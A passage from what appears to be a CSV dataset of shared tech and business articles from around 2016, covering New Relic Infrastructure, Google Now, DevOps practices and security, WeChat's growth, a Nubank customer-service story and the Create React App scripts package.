(CI/CD) pipelines, migration to cloud or hybrid infrastructures, repackaging services using container technologies like Docker, and the DevOps movement are all accelerating overall velocity. That's a good thing, but it just adds pressure for ops teams who are already focused on maximizing uptime. New Relic Infrastructure is designed to help you handle these challenges and put you in greater control, so you can spend more time proactively optimizing and scaling and less time getting woken up at 2:00 a.m. by alerting. It is designed to provide an accurate picture of the current live state of your infrastructure, tracking the current configuration and health of all your resources along with any changes being made that can affect their state. When an issue occurs, you can quickly cut through the noise and answer the key question: ""What changed in the last 10 minutes that's causing this outage?"" New Relic Infrastructure lets you organize your alerting and dashboards dynamically with the metadata you choose to reflect the way you organize your environment. And it seamlessly scales up and down as your systems scale. Here are some key features: 1. Live-state monitoring and change tracking: Keep tabs on everything that happens with your infrastructure in real time. This includes changes to key files, packages, kernel settings, service status, user logins, and security groups. 2. Correlated real-time metrics and change events: Key health metrics updated every five seconds with a correlated timeline of events help you to quickly identify what recent change could be causing an outage or performance issues. 3. Tag-driven alerting and dashboards: Use Amazon EC2 tags, role data from automation systems, or your own metadata to create dynamic scopes and alerts policies that scale as your hosts scale. 4. Instant infrastructure search: Find vulnerable packages, errant services, or anything else instantly across thousands of hosts. Zero-day headaches can be addressed in seconds instead of days. 5. AWS and container (Docker) native: New Relic Infrastructure is tightly integrated with Amazon EC2, allowing for an accurate, real-time view of your EC2 ecosystem. Docker containers and their metadata are first-class citizens too, allowing you to monitor every aspect of your dynamic infrastructure. You can slice and dice your hosts by any AWS attribute: role, tier, Availability Zone (AZ), data center, or custom EC2 tag to narrow down to the hosts you care about, and view their data by the attribute you care about. 6. Up and running in seconds: No configuration is required. You don't need another tool that requires managing; just drop the New Relic Infrastructure agent on each host and you have immediate visibility of the live state changes being made, and real-time health metrics. 7. Leverages the power of New Relic Insights: Built on New Relic's scalable analytics engine (NRDB) , New Relic Infrastructure helps you focus on your productivity and bring new products to market, faster. All metric and event data is available in NRDB to allow for more detailed Insights exploration and dashboarding. Request a private beta invitation We're excited to introduce New Relic Infrastructure: read the press release and visit NewRelic.com/Infrastructure to learn more. If you're interested in seeing what it can do for you, please sign up for an invitation to the private beta program here . Signing up will also ensure you are notified of new information about New Relic Infrastructure as it becomes available. In the meantime, don't miss our free webinar, Introducing New Relic Infrastructure: Real-Time Performance and Causation Analysis for Dynamic Infrastructure -on Tuesday, September 13, at 11 a.m. Pacific Time (2 p.m. Eastern Time). Event dates, participants, and topics are subject to change without notice.",en
1470831514,CONTENT SHARED,-4612605965384710183,-1443636648652872475,-2980605713554416836,,,,HTML,https://techcrunch.com/2016/08/09/google-tests-a-more-personalized-version-of-its-virtual-assistant-google-now/,"Google tests a more personalized version of its virtual assistant, Google Now","Google Now , the intelligent personal assistant bundled into Android and Google's search application, is already adept at bringing you the information you need at the right time, whether that's traffic alerts, event reminders, sports scores, stock updates, weather, flight info, and much more. But one area where Google Now falls a little short is in customizing the assistant more precisely to your needs. Today, this is done via a series of on/off toggle switches in the app's settings, which is a bit hidden, as well as by tapping on individual items where you can tell the app you're ""not interested"" in that card, or that news source. However, a new feature in the works called ""Explore Interests"" appears it will give users more control over what sort of information Google will track on your behalf, and will make it easier to tell Google exactly what sort of information you want to hear more about. The feature was spotted in the wild by the blog Android Police , which claimed it may be rolling out slowly. However, a Google spokesperson confirmed ""Interests"" is an experiment that the company is testing with the look-and-feel of the product, adding that Google has nothing to announce at this time. nexus2cee_1459069626628297583-account_id1 nexus2cee_5793178604056047480-account_id1 nexus2cee_ExInHero With ""Explore Interests,"" Google is offering a different way to track news and other topics, beyond allowing Google to passively determine this information based on things like search history or location. The app informs users they can ""pick teams, bands, movies, and more"" and a click-through takes them to a screen where there are colorful tiles for sections like ""Sports,"" ""TV,"" ""Movies,"" ""Musicians,"" ""People,"" ""Stocks,"" and more. As you dive into each section, you can browse through cards of individual items across a number of subcategories, then click plus (+) signs to add the item to the list of things you're tracking. For example, under the ""TV"" categories, there's a subsection of just ""Reality"" TV shows, with items like ""The Voice,"" ""American Idol,"" ""The Bachelor,"" and others available to track with just a tap. Meanwhile, the ""People"" section may show you cards for politicians like Clinton and Trump, as well as athletes, actors and other figures. As you browse through these sections, you can also see which topics are ""Popular in Your Area,"" which gives the Google Now interests feature a bit of local flair. The idea of using Google to track very specific information is something that's been around for ages, dating back to the launch of Google Alerts . A number of startups also arrived over the years, trying to best the Google Alerts experience, but most have been focused on the ""social"" mentions space. Google Now's (hopefully) forthcoming ""Interests"" section will instead offer a similar tracking ability, but bundle it into the app that users launch daily. Being able to better customize the Google Now assistant is something that comes at a critical time for the company, as Apple's Siri is making its way onto Mac in addition to iOS and Apple TV, Cortana is bundled into Windows and can't be entirely shut off, and Amazon's Alexa platform is making strong headway into the customer's home through its Echo speaker and other devices. Google, therefore, is challenged to not only make its assistant practical and proactive, in terms of offering things you need to know - like when to leave for your meeting - but in making it a tool that tracks those things you want to know about, too. Image credits: Android Police",en
1470831614,CONTENT SHARED,335910242745901755,-1387464358334758758,-8042537468639107160,,,,HTML,http://googlediscovery.com/2016/08/09/inbox-by-gmail-ganha-integracao-com-trello-github-e-google-alerts/,"Inbox by Gmail ganha integração com Trello, GitHub e Google Alerts | Google Discovery","O Google anunciou uma parceria mais próxima com os serviços do Trello e GitHub para trazer melhores prévias que possam ajudar os usuários a encontrarem informações em sua caixa de mensagens mais facilmente. ""Se você usa o Trello, você vai ter um resumo do que há de novo com os seus projetos para que possa se manter atualizado sobre as últimas atualizações"", disse Thijs van As, Gerente de Produto. ""Para aqueles que usam o GitHub, você poderá obter um resumo das alterações de código e filed issues para cada repositório"". Além do Trello e GitHub, o Inbox by Gmail também ganhou uma melhoria na integração com o Google Alerts, para aqueles que recebem alertas sobre informações filtradas da web. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1470832126,CONTENT SHARED,-3678789633202302491,7774613525190730745,6403122829531428804,,,,HTML,https://dzone.com/articles/do-you-suffer-from-deployment-anxiety-1,Do You Suffer From Deployment Anxiety? - DZone DevOps,"Whether you suffer from a diagnosed anxiety disorder or not, many of us who are responsible for deployments become uneasy when deploying code to production. Did my tests catch everything? What if something happens during a migration and I can't rollback? Will that small code change create an unstoppable reaction destroying everything in my database? Okay, maybe that's a little aggressive, but you get my point. Deploying to production creates anxiety among developers all over the world. So, how do we combat this anxiety without a prescription for Xanax? We've gathered a couple tricks to help ease your anxiety and optimize your release pipeline all at the same time. Automate Configuration and Deployment By automating a process, you are turning it into a constant. This is the best way to make sure your deployments behave the same every time you deploy an application. Like we learned during our 4th grade science fair, the control variable is unchanging and will give you confidence to learn from future breaks and failures (dependent variables). Create a Testing Environment QA testing should have its own environment and it should be production-like. This is the first major step towards Continuous Delivery and an overall healthier state of mind when deploying to production. Hopefully, you can automate your code's transition from a dev environment to a QA environment where it can run suites of functional and performance tests. Each QA environment should be complete with the right configurations for each new code release. Work With Your Support Team It's all too easy to get involved with your next project and forget to check in on the apps you already have running. DevOps principles often talk about breaking down the walls between departments and, in this case, that means working with your support team to ensure the health of your existing apps. If you can automate the way existing apps are tested and monitored by your dev and support teams, you will begin deploying to production with a lot more confidence. Use Canary Releases Danilo Sato's definition of a Canary Release on MartinFowler.com is the best I've found: "" Canary release is a technique to reduce the risk of introducing a new software version in production by slowly rolling out the change to a small subset of users before rolling it out to the entire infrastructure and making it available to everybody."" By releasing to a small portion of users, you can build confidence in your deployment before pushing it into production completely. Run Fire Drills Crashes, outages, breaks, and failures are all terrifying what-ifs. One way to become slightly more comfortable with these uncertainties is to run controlled fire drills with your teams. Come up with some creative, albeit terrifying, ideas like database crashes or datacenter outages, and run through those scenarios and your related response plan with your team. Incremental Deployments You can read a full blog on Incremental vs. Full Deployments here , but the basics of it are, by running incremental deployments you are updating only the assets on the site that are being changed, instead of re-creating the configuration of the site as a whole. They are faster deploys and they don't touch the systems that are already OK. Dependable Fast Rollbacks Nothing is more comforting than knowing you can roll back your release. Rollbacks are another process that can be automated so that if/when your deployments break, you'll notice serious errors quickly. It should be noted that you'll want to make sure your old code still works on the new database layout, if you were to rollback. Don't be afraid to re-test your old code before rolling back. Deploy Often The most comfortable developers I've met deploy to production a dozen or more times a day. This is the result of a Continuous Delivery pipeline. By automating the right processes and deploying often, you will be able to tweak and refine your pipeline to run smoothly. Am I saying you should start pushing out 30 deploys a day? No. But increasing your deployment rates over time will help create a release process that flows with far fewer bottlenecks and failures. One of the best ways to keep anxiety at bay is by learning from others mistakes. Check out our on-demand webinar: Lessons Learned: Scaling DevOps and Continuous Delivery for the Enterprise . continuous delivery, qa, pipeline, environment, deployment, canary release, rollback",en
1470832760,CONTENT SHARED,-1573329182923097618,7774613525190730745,6403122829531428804,,,,HTML,http://searchsecurity.techtarget.com/feature/DevOps-security-requires-new-mindset-and-tools-for-visibility-automation,"DevOps security requires new mindset and tools for visibility, automation","In 2011, Intuit Inc. embarked on an effort to completely revamp its QuickBooks Online accounting service for small businesses with better integration of payroll, customer relationship management and third-party services. With its shift toward software as a service, Intuit decided to transform its desktop production model -- development, QA and IT operations -- so developers could quickly prototype incremental functionality to address customers' demands. As part of the effort, which culminated in the announcement of a completely new service in September 2013, the financial software company focused on responsive development and continuous rollout. In other words, they needed DevOps. Consumer awareness of massive data breaches started around the same time period. Online attackers scooped up at least 60 million email addresses belonging to Fortune 100 clients of marketing firm Epsilon Data Management in 2011. The same year, hackers caused disruptions in Sony's PlayStation Network for more than three weeks and made off with credentials and information for 77 million PSN and Qriocity accounts. And the colossal Target breach, in which attackers stole 110 million records, capped off 2013. With the introduction of CRM features and payroll information, it's little wonder, then, that Intuit put a major focus on DevOps security. There's no recipe book for integrating security into DevOps' continuous integration and continuous delivery (CI/CD) cycle, says Shannon Lietz, senior manager for cloud security engineering at Intuit. With 3,000 developers, Intuit faced enormous problems because the security and agile DevOps teams continued to lead separate existences. ""We realized that the DevOps teams were throwing [responsibility] over the wall to security, and we [security] had all the information; we knew all the attacks that were coming in, and the DevOps people...did not have the information to make the decisions,"" she says. ""And we said, 'Alright, we have to figure out how to fix this problem.' It was a head-banging experience."" Fast-tracking DevOps security Lietz is not alone. Other major firms that created cloud services, or moved their services to the cloud, dealt with similar issues. Video-streaming service Netflix and Etsy, a marketplace for crafters, are well-known proponents of DevOps security. Both companies also pioneered many of the efforts to secure Agile software development . ""There were a million lessons to be learned along the way and some pretty spectacular failures,"" says Zane Lackey, a former director of security engineering for Etsy, who left and founded Signal Sciences in 2014 with Etsy colleagues Andrew Peterson and Nick Galbreath. With the online craft marketplace pushing out 50 deploys in a day, Etsy faced several challenges in fast-tracking DevOps security testing and providing visibility to developers. ""How do we get coverage and visibility over the applications and APIs that we are trying to defend?"" Lackey says. ""And how can we couple that up with the ability to really block attacks against apps that can really scale and be used in production?"" Phoenix rises Developers have always pursued faster development methods. With the publication of the Manifesto for Agile Software Development in 2001, and the move from software to cloud services, the practice of developers working more closely with IT operations to automate more of their workflow has taken off. ""DevOps is different,"" says Rich Mogull, CEO of security consultancy Securosis. ""It is as much of a philosophy as an approach. DevOps is about extending the concepts of an assembly line to figure how we get code into the hands of customers."" The DevOps concept -- popularized in The Phoenix Project (IT Revolution Press, 2013), a novel authored by DevOps proponents Gene Kim, George Spafford and Kevin Behr -- has gone from niche to mainstream in the past decade. According to RightScale's ""2016 State of the Cloud Report : DevOps Trends,"" 74% of the 1,060 IT professionals surveyed worldwide indicated their organizations are adopting DevOps for software development, up from 66% in 2015. However, it is not companywide -- 60% of DevOps adoption is by specific business units or project teams. The fundamental problem? While agile DevOps pushes small batches of code out in days -- and in some cases hours -- security teams work on projects that take weeks and months. To make DevOps more secure, security teams need to have ongoing collaboration with DevOps teams, providing coders with visibility and feedback and automating security checks as early in the development process as possible. Can security be automated into a set of actions like DevOps? Whatever you call it -- DevOps security, DevOpsSec or Rugged DevOps , which relies on peer-pressure tactics to make developers feel good or bad about their code -- here are four ways to tightly integrate security throughout the CI/CD cycle: 1. Don't be a gatekeeper When Lackey joined Etsy in 2011, the company already had a strong focus on the continuous deployment model, in which any code that passed the automated testing phase was released into production. The question was how to create a security organization that could really enable the company to quickly push out product features, but in a secure way. ""For security, that feels very scary at first because we have always operated as a gatekeeper,"" Lackey says. ""But the problem is that gatekeeper mentality means, in this modern world, becoming a blocker. Security cannot be the blocker that slows down the business because the developers will route around you."" Training security to not say ""no"" all the time is only part of the answer. Historically, security has focused on longer projects -- static analysis that required days to run, analyze and build a remediation list -- and that slow feedback loop blocks development in its own ways. ""In the old SDLC [secure development lifecycle] model, we built a lot of security controls that were very heavyweight and very top-down,"" Lackey says. ""And they required a lot of investment to tune and work correctly; and in the end, we would get a report once a month or once a week."" Getting beyond that requires a commitment from the security team to work on DevOps security with developers. Etsy, for example, reused the antivirus toolkit in its continuous integration environment to test source code. 2. Give the developer visibility Developers want to quickly push out code. When security teams return scan results that show flaws from code checked weeks ago, it requires developers to slow down or, often, to ignore the results. Instead, security teams should give developers quick visibility into the vulnerabilities in their code. Such visibility helps to tighten the feedback loop, says Joshua Corman, former CTO at Sonatype and co-founder of Rugged Software. (Corman is now the director of the Cyber Statecraft Initiative for the Atlantic Council, which works on international conflict and cooperation.) Twitter, for example, created a tool called Brakeman to quickly scan submitted code for vulnerabilities and immediately notify the developers. A report, originally in email, lets the developers know when they checked in vulnerable code and how to fix it. ""They found that tightening the feedback loop helped the developers not hate security; it was integrated into their development process,"" Corman says. ""One of the big problems with application security is that there is a time lag between when a bug is inserted and when it is detected."" Providing quick feedback at code check-in is extremely important. Intuit, for example, uses a golden master for its Amazon Machine Image (AMI) infrastructure, and whenever a developer pushes code and creates a new image, their scanners return a letter grade for the security of the image. At Etsy, Lackey and his team built tools that would deliver security results directly to the developer's queue of defects. That way, security was not a separate process, but part of the development cycle (See ""The tools they use""). ""We can't just say that security is everyone's responsibility and then not give them visibility or tools for security,"" he says. ""The way in which you actually deliver on that as a security team is by bringing visibility to everyone."" 3. Automate security checks and run them all the time Developing as part of the DevOps CI/CD model means that security has to be as close to continuous as possible. Netflix, one of the pioneers of CI/CD development, created a collection of programs that would frequently test its systems to make sure they had no vulnerabilities, were configured correctly and complied with company policy. Each program was called a monkey , and the automation suite became Netflix's Simian Army . Using monkeys -- or automation in general -- a company can assess that accounts are configured correctly, that the most secure and up-to-date version of third-party software is used and that new code is detected, analyzed and vetted through an automated red team process, says Adrian Cockcroft, former cloud architect and director of web engineering at Netflix. ""You need tooling that will break a build if the developer is violating any of these policies,"" he says. ""Once you have built something that you think is good, then it's posted to the testing environment and is automatically checked."" While basing your infrastructure in the cloud is not mandatory, the service-oriented nature of the cloud -- with its APIs -- makes accessing the code and infrastructure much easier for security teams. A significant part of securing DevOps is using that infrastructure to allow programs to automatically check code and the infrastructure. The service-oriented architecture of the cloud means that applications tend to be less monolithic and, as a result, have smaller codebases. Programs with a million lines of code are not as common anymore. ""Because the size of the codebase has been considerably reduced, the number of bugs has been reduced as well,"" says Meera Subbarao, director of the secure development practice at Cigital. ""However, security has not changed. We still see the bugs in these programs with 200,000 lines of code."" Cigital in May released The Agile Security Manifesto , which suggests four principles to build security into the Agile process. BSIMM 6 -- the Building Security In Maturity Model co-authored by the company's CTO Gary McGraw, a former columnist for this magazine -- was released in October. 4. Don't punish mistakes or blame the developer When developers move quickly, mistakes are made. And often the security team is the group that finds the errors. Blaming developers results in negative feedback and worsens relations between developers and security teams, says Lackey. Moreover, developers are not the only ones who will be making mistakes. DevOps security is such a new discipline that most security teams are learning by doing, he adds. ""I certainly made plenty of mistakes along the way,"" Lackey says. ""There were not a lot of other people doing it at the time, but that is how we learned to experiment."" In the end, security groups need to remember that any strategy to secure the agile DevOps cycle that attempts to change how developers work or interferes with their goals will likely fail, says Securosis' Mogull. ""Security needs to learn the developers' language and understand their requirements,"" he says. ""If they do not ship on time, they are in trouble; and for them, that's what matters."" About the author: Robert Lemos is an award-winning technology journalist who has reported on computer security and cybercrime for 20 years. He currently writes for several publications focused on information security issues.",en
1470833640,CONTENT SHARED,1734266821019430183,2416280733544962613,-5892805645558108633,,,,HTML,http://www.economist.com/news/business/21703428-chinas-wechat-shows-way-social-medias-future-wechats-world,WeChat's world,"YU HUI, a boisterous four-year-old living in Shanghai, is what marketing people call a digital native. Over a year ago, she started communicating with her parents using WeChat, a Chinese mobile-messaging service. She is too young to carry around a mobile phone. Instead she uses a Mon Mon, an internet-connected device that links through the cloud to the WeChat app. The cuddly critter's rotund belly disguises a microphone, which Yu Hui uses to send rambling updates and songs to her parents; it lights up when she gets an incoming message back. Like most professionals on the mainland, her mother uses WeChat rather than e-mail to conduct much of her business. The app offers everything from free video calls and instant group chats to news updates and easy sharing of large multimedia files. It has a business-oriented chat service akin to America's Slack. Yu Hui's mother also uses her smartphone camera to scan the WeChat QR (quick response) codes of people she meets far more often these days than she exchanges business cards. Yu Hui's father uses the app to shop online, to pay for goods at physical stores, settle utility bills and split dinner tabs with friends, just with a few taps. He can easily book and pay for taxis, dumpling deliveries, theatre tickets, hospital appointments and foreign holidays, all without ever leaving the WeChat universe. As one American venture capitalist puts it, WeChat is there ""at every point of your daily contact with the world, from morning until night"". It is this status as a hub for all internet activity, and as a platform through which users find their way to other services, that inspires Silicon Valley firms, including Facebook, to monitor WeChat closely. They are right to cast an envious eye. People who divide their time between China and the West complain that leaving WeChat behind is akin to stepping back in time. Among all its services, it is perhaps its promise of a cashless economy, a recurring dream of the internet age, that impresses onlookers the most. Thanks to WeChat, Chinese consumers can navigate their day without once spending banknotes or pulling out plastic. It is the best example yet of how China is shaping the future of the mobile internet for consumers everywhere. That is only fitting, for China makes and puts to good use more smartphones than any other country. More Chinese reach the internet via their mobiles than do so in America, Brazil and Indonesia combined. Many leapt from the pre-web era straight to the mobile internet, skipping the personal computer altogether. About half of all sales over the internet in China take place via mobile phones, against roughly a third of total sales in America. In other words, the conditions were all there for WeChat to take wing: new technologies, business models built around mobile phones, and above all, customers eager to experiment. The service, which is known on the mainland as Weixin, began five years ago as an innovation from Tencent, a Chinese online-gaming and social-media firm. By now over 700m people use it, and it is one of the world's most popular messaging apps (see chart). More than a third of all the time spent by mainlanders on the mobile internet is spent on WeChat. A typical user returns to it ten times a day or more. WeChat has worked hard to make sure that its product is enjoyable to use. Shaking the phone has proven a popular way to make new friends who are also users. Waving it at a television allows the app to recognise the current programme and viewers to interact. A successful stunt during last year's celebration of Chinese New Year's Eve saw CCTV, the official state broadcaster, offer millions of dollars in cash rewards to WeChat users who shook their phones on cue. Punters did so 11 billion times during the show, with 810m shakes a minute recorded at one point. Most importantly, over half of WeChat users have been persuaded to link their bank cards to the app. That is a notable achievement given that China's is a distrustful society and the internet is a free-for-all of cybercrime, malware and scams. Yet using its trusted brand, and putting to work robust identity and password authentication, Tencent was able to win over the public. In contrast, Western products such as Snapchat and WhatsApp have yet to persuade consumers to entrust them with their financial details. Japan's Line (which recently floated shares on the New York and Tokyo stock exchanges) and South Korea's KakaoTalk (in which Tencent is a big investor) have done better, but they cannot match the Chinese platform. One app to rule them all How did Tencent take WeChat so far ahead of its rivals? The answer lies partly in the peculiarities of the local market. Unlike most Westerners, many Chinese possessed multiple mobile devices, and they quickly took to an app that offered them an easy way to integrate them all into a single digital identity. In America messaging apps had a potent competitor in the form of basic mobile-phone plans, which bundled in SMS messaging. But text messages were costly in China, so consumers eagerly adopted the free messaging app. And e-mail never took off on the mainland the way it has around the world, mainly because the internet came late; that left an opening for messaging apps. But the bigger explanation for WeChat's rise is Tencent's ability to innovate. Many Chinese grew up using QQ, a PC-based messaging platform offered by Tencent that still has over 800m registered users. QQ was a copy of ICQ, a pioneering Israeli messaging service. But then the Chinese imitator learned to think for itself. Spotting the coming rise of the mobile internet, Tencent challenged several internal teams to design and develop a smartphone-only messaging app. The QQ insiders came up with something along the lines of their existing product for the PC, but another team of outsiders (from a just-acquired firm) came up with Weixin. When Tencent launched the new app, it made it easy for QQ's users to transfer their contacts over to the new app. Another stroke of brilliance came two years ago when the service launched a ""red packet"" campaign in which WeChat users were able to send digital money to friends and family to celebrate Chinese New Year rather than sending cash in a red envelope, as is customary. It was clever of the firm to turn dutiful gift-giving into an exciting game, notes Connie Chan of Andreessen Horowitz, a VC firm. It also encouraged users to bind together into groups to send money, often in randomised amounts (if you send 3,000 yuan to 30 friends, they may not get 100 yuan each; WeChat decides how much). That in turn led to explosive growth in group chats. This year, over 400m users (both as individuals and in groups) sent 32 billion packets of digital cash during the celebration. The enthusiasm with which WeChat users have adopted the platform makes them valuable to Tencent in ways that rivals can only dream of. After years of patient investment, its parent now earns a large and rising profit from WeChat. While other free messaging apps struggle to bring in much money, Duncan Clark of BDA, a technology consultancy in Beijing, estimates that WeChat earned about $1.8 billion in revenues last year. By the reckoning of HSBC, a bank, according to current valuations for tech firms, WeChat could be worth over $80 billion already. Over half of its revenues come from online games, where Tencent, the biggest gaming firm, is extremely strong. E-commerce is another driver of the business model. The firm earns fees when consumers shop at one of the more than 10m merchants (including some celebrities) that have official accounts on the app. Once users attach their bank cards to WeChat's wallet, they typically go on shopping sprees involving far more transactions per month than, for instance, Americans make on plastic. Three years ago, very few people bought things using WeChat but now roughly a third of its users are making regular e-commerce purchases directly though the app. A virtuous circle is operating: as more merchants and brands set up official accounts, it becomes a buzzier and more appealing bazaar. Users' dependence on the portal means a treasure-trove of insights into their preferences and peccadilloes. That, in turn, makes WeChat much more valuable to advertisers keen to target consumers as precisely as possible. There are few firms better placed to take advantage of the rise of social mobile advertising than WeChat, reckons Goldman Sachs, an investment bank. When BMW, a German carmaker, launched the first-ever ad to appear on the WeChat Moments page (which is akin to a Facebook feed) of selected users, there followed nothing like pique at the commercial intrusion, but rather an uproar from people demanding to know why they had not received the ad. Even though Tencent has deliberately trodden carefully in introducing targeted ads on users' Moments pages, its official corporate accounts enjoy billions of impressions each day. For Western firms, the most telling lesson from WeChat's success is that consumers and advertisers will handsomely reward companies that solve the myriad problems that bedevil the mobile internet. The smartphone is a marvellous invention, but it can be frustrating. In much of the world, there are too many annoying notifications and updates and the proliferation of apps is baffling. WeChat provides an answer to these problems. Better-known rivals in the West regard WeChat's rise with more than a tinge of jealousy. One executive, David Marcus, who runs Facebook Messenger, a popular messaging app run by the social network, is willing to talk about it openly. He calls WeChat, simply, ""inspiring"". His plan, to transform Messenger into a platform where people can communicate with businesses and buy things, sounds familiar. Even enthusiasts acknowledge that the mobile ecosystem is different in the West and that WeChat's reach and primacy in the eyes of consumers will not be easily replicated. It took off in China well before the app ecosystem had taken hold, as it has now in America and Europe. Western consumers are accustomed to using many different apps to access the internet, not just one. It would require a lot of nudging to encourage use of a single, central hub. Nor is there much chance that Facebook could make a significant dent in WeChat's dominance in China. The Silicon Valley darling enjoys incumbency and the network effect in many of its markets. That has sabotaged WeChat's own efforts to expand abroad (despite splashy ad campaigns featuring Lionel Messi, a footballer). But the same rule applies if Facebook enters China, which could happen this year or next. ""We have the huge advantage of incumbency and local knowledge,"" says an executive at Tencent. ""Weixin is quite simply more of a super-app than Facebook."" Indeed, WeChat has already proved itself in the teeth of competition. Many Chinese champions have succeeded only because the government has hobbled domestic rivals and blocked foreign entrants. Here, too, Tencent breaks the mould. It has withstood numerous attempts by Alibaba, a formidable local rival, to knock it and its creations off their perch. And it is Facebook's WhatsApp that is WeChat's most obvious rival. Unlike Facebook itself, and Twitter, both of which are blocked on the mainland, WhatsApp is free to operate. WeChat has flourished for simple, commercial reasons: it solves problems for its users, and it delights them with new and unexpected offerings. That will change the mobile internet for everyone-those outside China included, as Western firms do their all to emulate its success.",en
1470838459,CONTENT SHARED,7191770005709670956,7580644064067188685,4419447520340845424,,,,HTML,http://extra.globo.com/noticias/economia/nubank-envia-pikachu-para-cliente-que-pediu-desbloqueio-de-cartao-do-pokemon-go-19886679.html,Nubank envia Pikachu para cliente que pediu desbloqueio de cartão e do Pokémon Go,"A Nubank, empresa que oferece tecnologia de serviços financeiros no Brasil, capturou elogios nas redes sociais ao responder de forma inusitada um cliente. Após ter o seu cartão fraudado e bloqueado - por medida de segurança -, o jovem jornalista Igor dos Santos, de 23 anos, solicitou à companhia, no fim do mês passado: ""desbloqueie meu cartão e se for possível desbloqueie Pokémon GO no Brasil"". Apesar do pedido, ele se surpreendeu quando, além de ter o serviço financeiro restabelecido, recebeu em casa um Pikachu de pelúcia e uma carta escrita a mão. A ação foi divulgada por Igor. Ele contou ter feito o pedido bem humorado à empresa por saber que o atendimento feito pelo Nubank ""é dos legais"". ""Pois bem. O Thiago B. me atendeu no chat e foi super solícito. Ele resolveu meu problema, me informou que iria enviar um novo cartão e que eu ficaria sem meu roxinho por até 10 dias úteis. Uma situação chata para qualquer consumidor. Mas não foi tão chato assim. Digo isso porque, durante o atendimento, ele foi colocando referências ao universo do desenho animado e não deixou o encantamento cair em nenhum momento. Um grande serviço prestado"", contou na publicação que já foi curtida por mais de mil pessoas. Durante a conversa com o funcionário, Igor chegou a relatar que a fraude contestada já era ""a terceira compra que a equipe rocket faz"". Depois disso, o representante da empresa forneceu instruções para tirar o jovem ""da encrenca em dobro"". A maior surpresa, porém, veio após duas semanas. - Cheguei em casa e tinha duas encomendas. Como eu sabia o que era a outra (o novo livro de Harry Potter), abri a da Nubank primeiro. Era uma caixa de papelão feita a mão com papel e durex roxos, o que foi muito legal, pois eu vi que houve um trabalho humano ali. E, dentro, estava o Pikachu vestido com a roupa de um outro pokémon, o Sableye. Essa versão só vende no Japão. Então veio de lá - contou ele, acrescentando: - E ainda veio uma carta escrita a mão. Então, não foi algo mecanizado. Alguém parou o que estava fazendo no dia e teve esse trabalho. A mensagem dizia, entre outras coisas: ""grande abraço pra ti, treinador. A gente se encontra na Liga!"". Na rede social, o jornalista elogiou a postura do funcionário: ""Não é só um marketing bem pensado, um planejamento de atendimento ao cliente, um SAC 2.0. É uma atitude humana. De conectar pessoas. De mostrar que é possível viver na nossa sociedade atual"". Veja a conversa entre Igor e o funcionário da Nubank Leia a carta na íntegra: ""Fala Igor, tudo certo? Acho que a equipe Rocket decolou de novo! Esse choque de trovão que a gente deu neles funcionou direitinho, e conseguimos te livrar do perigo! Tá certo, a gente sabe que eles sempre preparam uma encrenca em dobro, mas a nossa vida é fazer o bem vencer do mal, né? Por isso, pra te proteger nesse novo mundo de aventuras, tô te mandando um amigão que te acompanha a todo momento! Ele tá disfarçado, porque afinal, parece que a equipe Rocket só quer saber de Pikachu, mas vestido de Mega Sableye, talvez pensem duas vezes na hora de enfrentar um monstrinho roxo! Agora será uma nova jornada, com novas emoções, mas você ainda vai ter que pegar todos eles pra ser dos mestres o melhor! Grande abraço pra ti, treinador! A gente se encontra na Liga! Thiago B. e toda galera da Equipe Nubank.""",pt
1470843196,CONTENT SHARED,-6397413461412629080,6971525809430309144,7435371515930166365,,,,HTML,https://www.npmjs.com/package/react-scripts,Um exemplo starter kit para static websites,"Configuration and scripts for Create React App. Create React apps with no build configuration. Then open to see your app. When you're ready to deploy to production, create a minified bundle with npm run build . Install it once globally: You'll need to have Node >= 4 on your machine . We recommend to use Node >= 6 and npm >= 3 for faster installation speed and better disk usage. You can use nvm to easily switch Node versions between different projects. This tool doesn't assume a Node backend . The Node installation is only required for the build tools that rely on it locally, such as Webpack and Babel. To create a new app, run: It will create a directory called my-app inside the current folder. Inside that directory, it will generate the initial project structure and install the transitive dependencies: No configuration or complicated folder structures, just the files you need to build your app. Once the installation is done, you can run some commands inside the project folder: Runs the app in development mode. Open to view it in the browser. The page will reload if you make edits. You will see the build errors and lint warnings in the console. Builds the app for production to the build folder. It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes. Your app is ready to be deployed! The generated project will include a guide in its README. You can also read its latest version here . One Dependency: There is just one build dependency. It uses Webpack, Babel, ESLint, and other amazing projects, but provides a cohesive curated experience on top of them. Zero Configuration: There are no configuration files or command line options. Configuring both development and production builds is handled for you so you can focus on writing code. No Lock-In: You can ""eject"" to a custom setup at any time. Run a single command, and all the configuration and build dependencies will be moved directly into your project, so you can pick up right where you left off. If you're getting started with React, use create-react-app to automate the build of your app. There is no configuration file, and react-scripts is the only extra build dependency in your package.json . Your environment will have everything you need to build a modern React app: React, JSX, and ES6 support. Language extras beyond ES6 like the object spread operator. A dev server that lints for common errors. Import CSS and image files directly from JavaScript. Autoprefixed CSS, so you don't need -webkit or other prefixes. A build script to bundle JS, CSS, and images for production, with sourcemaps. The feature set is intentionally limited . It doesn't support advanced features such as server rendering or CSS modules. Currently, it doesn't support testing either. The tool is also non-configurable because it is hard to provide a cohesive experience and easy updates across a set of tools when the user can tweak anything. You don't have to use this. Historically it has been easy to gradually adopt React. However many people create new single-page React apps from scratch every day. We've heard loud and clear that this process can be error-prone and tedious, especially if this is your first JavaScript build stack. This project is an attempt to figure out a good way to start developing React apps. If you're a power user and you aren't happy with the default configuration, you can ""eject"" from the tool and use it as a boilerplate generator. Running npm run eject copies all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. Commands like npm start and npm run build will still work, but they will point to the copied scripts so you can tweak them. At this point, you're on your own. Note: this is a one-way operation. Once you eject , you can't go back! You don't have to ever use eject . The curated feature set is suitable for small and middle deployments, and you shouldn't feel obligated to use this feature. However we understand that this tool wouldn't be useful if you couldn't customize it when you are ready for it. Some features are currently not supported : Server rendering. Testing. Some experimental syntax extensions (e.g. decorators). CSS Modules. LESS or Sass. Hot reloading of components. Some of them might get added in the future if they are stable, are useful to majority of React apps, don't conflict with existing tools, and don't introduce additional configuration. The tools used by Create React App are subject to change. Currently it is a thin layer on top of many amazing community projects, such as: All of them are transitive dependencies of the provided npm package. We'd love to have your helping hand on create-react-app ! See 